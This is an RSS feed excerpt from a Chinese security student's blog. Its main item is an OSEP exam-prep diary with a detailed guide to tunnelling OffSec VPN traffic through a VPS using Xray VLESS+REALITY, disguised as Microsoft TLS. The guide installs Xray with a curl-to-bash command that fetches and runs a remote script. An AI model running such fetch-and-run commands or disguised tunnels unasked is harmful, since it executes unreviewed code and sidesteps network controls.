<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:version="2.0"><channel><title>Wuthering Heights</title><description>曾经沧海难为水 除却巫山不是云</description><link>https://heathc1iff-sec.github.io/</link><language>en</language><item><title>OSEP-备考日记</title><link>https://heathc1iff-sec.github.io/blog/osep/osep-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/osep/osep-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0/</guid><description>PEN-300 OSEP 日记</description><content:encoded>&lt;h1&gt;2026年5月7日（星期四）&lt;/h1&gt;
&lt;h2&gt;母上的转账&lt;/h2&gt;
&lt;p&gt;今天下午上完课跟家里提出准备走谷安报名，税后价10900元，家母微信转了我12000元&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-1.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;三个月学习时长+一次考试机会，感觉容错率很低啊......如果再给我一次机会我会选择大二考证而不是大三&lt;/p&gt;
&lt;p&gt;祝我好运吧....&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;HTB-Prolabs&lt;/h2&gt;
&lt;p&gt;在报名之前我已经完成了HTB-Prolabs的部分靶场&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;2026年5月8日（星期五-第一天）&lt;/h1&gt;
&lt;h2&gt;Outlook-邮件&lt;/h2&gt;
&lt;p&gt;中午上完课回来发现邀请邮件已经发送过来了，效率好高啊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;OffSec-Dashboard&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;OffSec-Course&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;VPN代理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;适用场景：人在国内，直接连接 OffSec/OSEP VPN 延迟高、丢包明显，或者 UDP 到境外 VPN 服务器不稳定。&lt;br&gt;核心目标：让 Kali 最终仍然像“正常直连 OffSec VPN”一样工作，&lt;code&gt;tun0&lt;/code&gt;、靶场动态路由、&lt;code&gt;nmap&lt;/code&gt;、&lt;code&gt;smbclient&lt;/code&gt;、&lt;code&gt;xfreerdp&lt;/code&gt; 都在 Kali 本机使用；VPS 只负责把 OpenVPN 的 UDP 流量从更稳定的境外出口转发出去。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1. 网络架构&lt;/h3&gt;
&lt;p&gt;原始连接方式是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Kali OpenVPN  -&amp;gt;  OffSec VPN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;优化后的连接方式是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Kali OpenVPN
    |
    | UDP 127.0.0.1:1195
    v
Kali 本地 Xray 客户端
    |
    | VLESS + REALITY over TCP 443
    v
海外 VPS Xray 服务端
    |
    | UDP 到 OffSec VPN
    v
vpn-pool2.offseclabs.com:1194
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenVPN 仍然运行在 Kali 上。&lt;/li&gt;
&lt;li&gt;Kali 仍然拿到 OffSec 推送的 &lt;code&gt;tun0&lt;/code&gt; 和真实靶场路由。&lt;/li&gt;
&lt;li&gt;VPS 不长期连接 OffSec VPN，避免同一份 VPN 证书多点登录。&lt;/li&gt;
&lt;li&gt;不写死靶场网段，例如不依赖 &lt;code&gt;192.168.0.0/16&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;不使用 &lt;code&gt;/etc/hosts&lt;/code&gt; 劫持 OffSec 域名。&lt;/li&gt;
&lt;li&gt;如果考试时 OffSec 发了新的 VPN 配置，只需要按新 &lt;code&gt;.ovpn&lt;/code&gt; 的远端地址同步调整 Kali 侧配置。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 为什么不直接在 VPS 上挂 OpenVPN&lt;/h3&gt;
&lt;p&gt;把 OffSec VPN 直接挂在 VPS 上，再从 Kali 走 SSH 隧道或路由转发，看起来能临时访问靶机，但问题很多：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OffSec VPN 的路由是动态推送的，考试或靶场重置后网段可能变化。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xfreerdp&lt;/code&gt;、&lt;code&gt;nmap&lt;/code&gt;、&lt;code&gt;smbclient&lt;/code&gt; 等工具最好直接走 Kali 的 &lt;code&gt;tun0&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;同一份 &lt;code&gt;.ovpn&lt;/code&gt; 同时在 VPS 和 Kali 上连接，可能出现会话冲突。&lt;/li&gt;
&lt;li&gt;后续排障会变复杂，很难判断是 OpenVPN、转发、NAT 还是路由的问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以更稳定的思路是：Kali 本机挂 VPN，VPS 只当网络前置代理。&lt;/p&gt;
&lt;h3&gt;3. VPS 侧配置：Xray 服务端&lt;/h3&gt;
&lt;p&gt;VPS 使用 Debian，公网 IP 用 &lt;code&gt;&amp;lt;VPS_IP&amp;gt;&lt;/code&gt; 代替。SSH 端口建议不要用默认的 &lt;code&gt;22&lt;/code&gt;，例如改成 &lt;code&gt;22222&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;3.1 安装 Xray&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &amp;quot;$(curl -L https://github.com/XTLS/Xray-install/raw/main/install-release.sh)&amp;quot; @ install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查版本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xray version
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.2 生成 UUID 和 REALITY 密钥&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xray uuid
xray x25519
openssl rand -hex 8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分别记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;uuid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;REALITY &lt;code&gt;Private key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;REALITY &lt;code&gt;Public key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;shortId&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;博客里不要公开真实值，可以写成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;UUID: &amp;lt;UUID&amp;gt;
Private key: &amp;lt;REALITY_PRIVATE_KEY&amp;gt;
Public key: &amp;lt;REALITY_PUBLIC_KEY&amp;gt;
shortId: &amp;lt;SHORT_ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.3 配置服务端&lt;/h4&gt;
&lt;p&gt;编辑：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano /usr/local/etc/xray/config.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例配置：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;log&amp;quot;: {
    &amp;quot;loglevel&amp;quot;: &amp;quot;warning&amp;quot;
  },
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;listen&amp;quot;: &amp;quot;0.0.0.0&amp;quot;,
      &amp;quot;port&amp;quot;: 443,
      &amp;quot;protocol&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;settings&amp;quot;: {
        &amp;quot;clients&amp;quot;: [
          {
            &amp;quot;id&amp;quot;: &amp;quot;&amp;lt;UUID&amp;gt;&amp;quot;,
            &amp;quot;flow&amp;quot;: &amp;quot;&amp;quot;
          }
        ],
        &amp;quot;decryption&amp;quot;: &amp;quot;none&amp;quot;
      },
      &amp;quot;streamSettings&amp;quot;: {
        &amp;quot;network&amp;quot;: &amp;quot;tcp&amp;quot;,
        &amp;quot;security&amp;quot;: &amp;quot;reality&amp;quot;,
        &amp;quot;realitySettings&amp;quot;: {
          &amp;quot;show&amp;quot;: false,
          &amp;quot;dest&amp;quot;: &amp;quot;www.microsoft.com:443&amp;quot;,
          &amp;quot;xver&amp;quot;: 0,
          &amp;quot;serverNames&amp;quot;: [
            &amp;quot;www.microsoft.com&amp;quot;
          ],
          &amp;quot;privateKey&amp;quot;: &amp;quot;&amp;lt;REALITY_PRIVATE_KEY&amp;gt;&amp;quot;,
          &amp;quot;shortIds&amp;quot;: [
            &amp;quot;&amp;lt;SHORT_ID&amp;gt;&amp;quot;
          ]
        }
      }
    }
  ],
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;protocol&amp;quot;: &amp;quot;freedom&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;direct&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动并设置开机自启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl enable --now xray
systemctl restart xray
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl status xray --no-pager -l
ss -tlnp | grep &amp;#39;:443&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常应该看到 Xray 正在运行，并监听 &lt;code&gt;0.0.0.0:443&lt;/code&gt;。&lt;/p&gt;
&lt;h4&gt;3.4 VPS 安全组&lt;/h4&gt;
&lt;p&gt;在云厂商控制台放行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;TCP 443 入站
TCP 22222 入站，或你自己的 SSH 端口
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不需要长期放行 &lt;code&gt;UDP 1194&lt;/code&gt;，因为最终不是让 VPS 当 OpenVPN relay。&lt;/p&gt;
&lt;h3&gt;4. Kali 侧配置：Xray 客户端&lt;/h3&gt;
&lt;h4&gt;4.1 安装 Xray&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &amp;quot;$(curl -L https://github.com/XTLS/Xray-install/raw/main/install-release.sh)&amp;quot; @ install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xray version
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.2 配置 Kali 本地 UDP 入口&lt;/h4&gt;
&lt;p&gt;创建配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano /usr/local/etc/xray/offsec-client.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例配置：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;log&amp;quot;: {
    &amp;quot;loglevel&amp;quot;: &amp;quot;warning&amp;quot;
  },
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;listen&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
      &amp;quot;port&amp;quot;: 1195,
      &amp;quot;protocol&amp;quot;: &amp;quot;dokodemo-door&amp;quot;,
      &amp;quot;settings&amp;quot;: {
        &amp;quot;address&amp;quot;: &amp;quot;vpn-pool2.offseclabs.com&amp;quot;,
        &amp;quot;port&amp;quot;: 1194,
        &amp;quot;network&amp;quot;: &amp;quot;udp&amp;quot;
      },
      &amp;quot;tag&amp;quot;: &amp;quot;offsec-udp-in&amp;quot;
    }
  ],
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;protocol&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;settings&amp;quot;: {
        &amp;quot;vnext&amp;quot;: [
          {
            &amp;quot;address&amp;quot;: &amp;quot;&amp;lt;VPS_IP&amp;gt;&amp;quot;,
            &amp;quot;port&amp;quot;: 443,
            &amp;quot;users&amp;quot;: [
              {
                &amp;quot;id&amp;quot;: &amp;quot;&amp;lt;UUID&amp;gt;&amp;quot;,
                &amp;quot;encryption&amp;quot;: &amp;quot;none&amp;quot;,
                &amp;quot;flow&amp;quot;: &amp;quot;&amp;quot;
              }
            ]
          }
        ]
      },
      &amp;quot;streamSettings&amp;quot;: {
        &amp;quot;network&amp;quot;: &amp;quot;tcp&amp;quot;,
        &amp;quot;security&amp;quot;: &amp;quot;reality&amp;quot;,
        &amp;quot;realitySettings&amp;quot;: {
          &amp;quot;serverName&amp;quot;: &amp;quot;www.microsoft.com&amp;quot;,
          &amp;quot;fingerprint&amp;quot;: &amp;quot;chrome&amp;quot;,
          &amp;quot;publicKey&amp;quot;: &amp;quot;&amp;lt;REALITY_PUBLIC_KEY&amp;gt;&amp;quot;,
          &amp;quot;shortId&amp;quot;: &amp;quot;&amp;lt;SHORT_ID&amp;gt;&amp;quot;,
          &amp;quot;spiderX&amp;quot;: &amp;quot;/&amp;quot;
        }
      },
      &amp;quot;tag&amp;quot;: &amp;quot;vps&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里最重要的是 inbound：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&amp;quot;listen&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
&amp;quot;port&amp;quot;: 1195,
&amp;quot;address&amp;quot;: &amp;quot;vpn-pool2.offseclabs.com&amp;quot;,
&amp;quot;port&amp;quot;: 1194,
&amp;quot;network&amp;quot;: &amp;quot;udp&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;含义是：Kali 本地开放 &lt;code&gt;127.0.0.1:1195/udp&lt;/code&gt;，收到 OpenVPN 流量后，由 Xray 通过 VPS 发往 OffSec 官方 VPN 地址。&lt;/p&gt;
&lt;h4&gt;4.3 创建 systemd 服务&lt;/h4&gt;
&lt;p&gt;创建：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano /etc/systemd/system/xray-offsec-client.service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内容：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-properties&quot;&gt;[Unit]
Description=Xray client for OffSec OpenVPN UDP proxy
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/xray run -config /usr/local/etc/xray/offsec-client.json
Restart=on-failure
RestartSec=3
LimitNOFILE=1048576

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动并设置开机自启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl daemon-reload
systemctl enable --now xray-offsec-client
systemctl restart xray-offsec-client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl status xray-offsec-client --no-pager -l
ss -ulnp | grep 1195
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常应该看到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;127.0.0.1:1195
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. OpenVPN 配置&lt;/h3&gt;
&lt;p&gt;不要直接改原始 &lt;code&gt;.ovpn&lt;/code&gt;，先复制一份：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /home/kali/Desktop/OSEP/VPN
cp &amp;quot;universal.ovpn&amp;quot; universal-vpsproxy.ovpn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑副本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano universal-vpsproxy.ovpn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到原来的 &lt;code&gt;remote&lt;/code&gt; 行，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;remote vpn-pool2.offseclabs.com 1194 udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;remote 127.0.0.1 1195 udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保留证书校验配置，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;verify-x509-name &amp;quot;offensive-security.com&amp;quot; name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后连接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;openvpn --config &amp;quot;/home/kali/Desktop/OSEP/VPN/universal-vpsproxy.ovpn&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常日志应包含：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;UDPv4 link remote: [AF_INET]127.0.0.1:1195
Initialization Sequence Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明 OpenVPN 已经从 Kali 本机连上，只是底层 UDP 流量经由 VPS 出口转发到了 OffSec VPN。&lt;/p&gt;
&lt;h3&gt;6. 验证靶场路由&lt;/h3&gt;
&lt;p&gt;VPN 连上后检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ip addr show tun0
ip route
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;应该能看到 &lt;code&gt;tun0&lt;/code&gt;，以及 OffSec 推送下来的真实靶场路由，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;192.168.106.0/24 via 192.168.45.254 dev tun0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：这个网段只是示例。考试或不同 lab 里可能不是这个，所以不要在配置里写死它。&lt;/p&gt;
&lt;h3&gt;7. 每次开机后怎么连&lt;/h3&gt;
&lt;p&gt;如果已经把 &lt;code&gt;xray-offsec-client&lt;/code&gt; 设置为开机自启，通常只需要：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl status xray-offsec-client --no-pager -l
openvpn --config &amp;quot;/home/kali/Desktop/OSEP/VPN/universal-vpsproxy.ovpn&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 Xray 没启动：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl restart xray-offsec-client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 OpenVPN 没连上，先看三件事：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ss -ulnp | grep 1195
systemctl status xray-offsec-client --no-pager -l
ping -c 4 &amp;lt;VPS_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8. 如果考试发了新的 VPN 文件，应该改哪里&lt;/h3&gt;
&lt;p&gt;大多数情况下，VPS 不用动，只改 Kali。&lt;/p&gt;
&lt;h4&gt;8.1 新 VPN 仍然是同一个官方域名&lt;/h4&gt;
&lt;p&gt;如果新 &lt;code&gt;.ovpn&lt;/code&gt; 里还是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;remote vpn-pool2.offseclabs.com 1194 udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只需要复制新文件，然后把副本的 remote 改成本地 Xray：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp new-exam.ovpn new-exam-vpsproxy.ovpn
sed -i -E &amp;#39;s/^remote .+ 1194 udp$/remote 127.0.0.1 1195 udp/&amp;#39; new-exam-vpsproxy.ovpn
openvpn --config ./new-exam-vpsproxy.ovpn
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8.2 新 VPN 换了官方域名&lt;/h4&gt;
&lt;p&gt;先查看新文件里的 remote：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;grep &amp;#39;^remote &amp;#39; new-exam.ovpn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假设看到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;remote vpn-pool3.offseclabs.com 1194 udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那 Kali 需要改两处：&lt;/p&gt;
&lt;p&gt;第一处，改 Xray 客户端目标：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano /usr/local/etc/xray/offsec-client.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&amp;quot;address&amp;quot;: &amp;quot;vpn-pool2.offseclabs.com&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&amp;quot;address&amp;quot;: &amp;quot;vpn-pool3.offseclabs.com&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后重启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl restart xray-offsec-client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二处，复制新的 &lt;code&gt;.ovpn&lt;/code&gt;，把 remote 改成本地：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp new-exam.ovpn new-exam-vpsproxy.ovpn
sed -i -E &amp;#39;s/^remote .+ 1194 udp$/remote 127.0.0.1 1195 udp/&amp;#39; new-exam-vpsproxy.ovpn
openvpn --config ./new-exam-vpsproxy.ovpn
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8.3 新 VPN 端口也变了&lt;/h4&gt;
&lt;p&gt;如果新 &lt;code&gt;.ovpn&lt;/code&gt; 里是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;remote &amp;lt;NEW_VPN_HOST&amp;gt; &amp;lt;NEW_PORT&amp;gt; udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;则 Kali 的 &lt;code&gt;/usr/local/etc/xray/offsec-client.json&lt;/code&gt; 也要同步改：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&amp;quot;address&amp;quot;: &amp;quot;&amp;lt;NEW_VPN_HOST&amp;gt;&amp;quot;,
&amp;quot;port&amp;quot;: &amp;lt;NEW_PORT&amp;gt;,
&amp;quot;network&amp;quot;: &amp;quot;udp&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl restart xray-offsec-client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;.ovpn&lt;/code&gt; 副本仍然改成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;remote 127.0.0.1 1195 udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Xray 客户端负责记住真实 OffSec VPN 地址。&lt;/li&gt;
&lt;li&gt;OpenVPN 永远只连 &lt;code&gt;127.0.0.1 1195 udp&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;课程进度&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;2026年5月9日（星期六-第二天）&lt;/h1&gt;
&lt;h2&gt;课程进度&lt;/h2&gt;
&lt;p&gt;白天美美的休息了，下午学了一阵然后打瓦去了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;个人感受&lt;/h2&gt;
&lt;p&gt;感觉购买前准备的还是太充分了，又臭又长的pdf文档在购买前我已经啃完了一半，ai搭建的知识库我也都过了一遍，这导致我处于速通状态，后悔没早点买了&lt;/p&gt;
&lt;h2&gt;笔记整理&lt;/h2&gt;
&lt;p&gt;主要分为俩个部分，一个是course笔记：用于汇总章节内容和处理章节习题等&lt;/p&gt;
&lt;p&gt;另一个是code笔记，提取章节内有用的代码进行汇总整理，方便二次查阅使用代码&lt;/p&gt;
&lt;p&gt;格式大概就是这样：章节标题写成英文确实看着挺高级，但也是真的容易让我发晕&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;2026年5月10日（星期日-第三天）&lt;/h1&gt;
&lt;h2&gt;课程进度&lt;/h2&gt;
&lt;p&gt;预计明天就能结束，借助ai速通了一遍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;ai skill&lt;/h2&gt;
&lt;p&gt;结合我之前的笔记格式用ai写了个skill，现在只需要把文章内容喂进去，ai就能直接给我提炼文章另其通俗易懂，同时提取章节实践代码及流程，对此我还让它专门另写一个章节指南，写出考试环境下遇到不同场景时该如何判断运用代码的指南，对此我非常满意，极大提高学习效率，不必再手动整理，解放了！&lt;/p&gt;
&lt;h1&gt;2026年5月11日（星期一-第四天）&lt;/h1&gt;
&lt;h2&gt;课程进度&lt;/h2&gt;
&lt;p&gt;基本结束了，准备明天复习一天然后后天开始靶场环节&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/osep-%E5%89%8D%E8%A8%80/OSEP-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;个人感受&lt;/h2&gt;
&lt;p&gt;很庆幸在学之前打完了大多数htb-prolabs，课程原理看的我头发蒙但是的确很多攻击向量在prolabs曾被利用训练过&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/osep/osep-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0/&quot;&gt;https://heathc1iff-sec.github.io/blog/osep/osep-%E5%A4%87%E8%80%83%E6%97%A5%E8%AE%B0/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Puppet</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/puppet/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/puppet/</guid><description>Pro Labs-Puppet</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/puppet/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/puppet/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a 